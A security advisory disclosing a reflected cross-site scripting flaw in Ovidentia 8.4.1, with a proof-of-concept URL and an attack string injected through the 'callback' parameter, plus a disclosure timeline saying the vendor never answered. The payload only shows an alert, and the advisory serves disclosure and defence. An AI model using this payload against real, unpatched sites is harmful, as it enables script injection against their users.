Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting Vulnerability in Ovidentia
Affected Software: Ovidentia
Affected Versions: 8.4.1
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-16-014

Technical Details

Proof of Concept URL for XSS vulnerability in Ovidentia;

URL http://pentest.pwn/Scan/ovidentia/index.php?tg=month&callback='"--></style></scRipt><scRipt>alert(0x0059E6)</scRipt>
Parameter Name callback
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0059E6)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
28 Jun 2016 - First contact
Jun-Sep 2016 - Several contact attempts were made
19 Sep 2016 - No answer, advisory released

Credits & Authors
This issue has been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.